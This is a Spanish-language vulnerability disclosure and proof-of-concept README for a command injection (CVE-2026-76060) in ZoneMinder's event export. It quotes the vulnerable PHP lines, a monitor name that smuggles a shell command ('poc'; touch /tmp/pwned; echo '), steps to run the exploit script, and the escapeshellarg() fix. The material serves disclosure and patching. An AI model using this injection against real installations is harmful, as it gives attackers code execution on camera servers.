
CVE-2026-76060 PoC para una vulnerabilidad de ZoneMinder que conduce a RCE
Prueba de concepto para una vulnerabilidad de inyección de comandos del sistema operativo en la funcionalidad de exportación de eventos de ZoneMinder (web/includes/download_functions.php).
Los nombres de los monitores se interpolan directamente en comandos de shell utilizando un envoltorio manual de comillas simples en lugar de escapeshellarg(). Un atacante que pueda crear un monitor puede inyectar comandos de shell arbitrarios que se ejecutan como www-data/quien sea que ejecute el proceso cuando cualquier usuario activa una exportación de eventos.
44c5c3c del 4 de octubre de 2023, aquí es donde se introdujo el archivo download_functions.php. El mensaje del commit es "Introduce new download mode that concats event videos into 1 file per monitor." El código vulnerable está presente aquí, pero requería que un administrador creara primero el monitor.2d49e93 del 2 de enero de 2024 "Introduce a Create permission for Monitors, so that a given user may Edit existing monitors, but not create new ones." Aquí es donde las cosas cambian un poco. Ahora un usuario con solo puede configurar el nombre del monitor para el ataque, y cualquier usuario con permisos de exportación puede activarlo.Monitors=CreateVersiones afectadas: >= 1.37.48 (esto tiene los cambios de migración SQL) y <= 1.38.1 La rama 1.36.x no se ve afectada.
Dos usuarios. Dos niveles de privilegio. Un shell.
Monitors=Create o Monitors=Edit si ya existe un monitor allí.El registro de eventos no necesita crearse manualmente. ZoneMinder es un sistema de cámaras... crea registros de eventos automáticamente mientras las cámaras están en funcionamiento. En una implementación en vivo, el paso de configuración es: crear el monitor, alejarse.
El nombre del monitor sin sanitizar llega a dos llamadas exec() separadas:
Línea 126 | ffmpeg:
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);
Línea 150 | tar/zip:
$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;
Ambos son alcanzables desde el mismo nombre de monitor cuidadosamente elaborado, independientemente del formato de exportación.
git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# esperar a que ZoneMinder termine de inicializarse (~30 segundos)
uv run poc.py
init.sql inicializa la base de datos con autenticación habilitada y dos usuarios:
medpriv con derechos de creación de monitores (y, por motivos de tiempo, también derechos de creación de eventos, pero eso no es necesario en producción)lowpriv con acceso solo a la exportación de eventosuv run poc.py ejecuta la cadena completa:
medpriv se autentica a través de la API y crea un monitor llamado poc'; touch /tmp/pwned; echo 'medpriv crea un registro de evento para acelerar la demostración (en producción, ZoneMinder lo hace automáticamente)lowpriv se autentica y activa una exportación de eventos/tmp/pwned dentro del contenedor e imprime el resultadoSalida esperada:
Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1
Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun 6 18:32 /tmp/pwned
8.4 (Alta):AV:N/AC:L/PR:R/UI:R/S:C/C:H/I:H/A:H
Podemos debatir entre PR:L y PR:R, pero de cualquier manera es una vulnerabilidad de ejecución remota de código de alta gravedad en un proyecto de código abierto ampliamente utilizado. La superficie de ataque es bastante amplia, y el hecho de que el gatillo pueda ser activado por un usuario diferente al que configura el nombre del monitor añade un giro interesante a la explotabilidad. Si aceptamos PR:L, se convierte en 9.0 (Crítica).
De cualquier manera, como mínimo escapeshellarg() no cuesta nada.
b3a7c05[!NOTE] Corregido dentro de las 12 horas posteriores al informe. Sin reconocimiento por parte del mantenedor de que esto es un problema de seguridad. No estoy de acuerdo
Aplicar escapeshellarg() en ambos puntos de inyección como mínimo:
// Línea 126
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';
// Línea 150
$command .= ' '.escapeshellarg($mergedFileName);
Las líneas 116 y 211 en generateFileList() tienen el mismo patrón.
Descubierto por (@investigato)
Informe completo: scriptkittens.com